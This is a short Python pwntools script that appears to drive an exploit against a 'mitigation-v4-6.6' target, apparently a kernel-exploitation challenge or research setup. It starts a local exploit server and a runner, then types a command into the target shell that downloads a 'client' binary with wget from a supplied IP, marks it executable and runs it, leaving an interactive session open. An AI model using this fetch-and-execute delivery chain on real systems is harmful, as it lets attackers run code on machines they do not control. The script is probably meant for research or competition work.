from pwn import *
import time
import sys

context.log_level = 'CRITICAL'

ip = sys.argv[1]
port = int(sys.argv[2])
p = process(["./exploit/mitigation-v4-6.6/server", "--port", str(port)])
start = time.time()
q = process(["./local_runner.sh", "mitigation-v4-6.6"])
q.sendlineafter(b"user@", f"cd /tmp && wget http://{ip}:3000/client && chmod +x ./client && ./client --ip {ip} --port {port}".encode())
q.interactive()
p.close()
end = time.time()
print(f'Ellapsed time: {end - start}')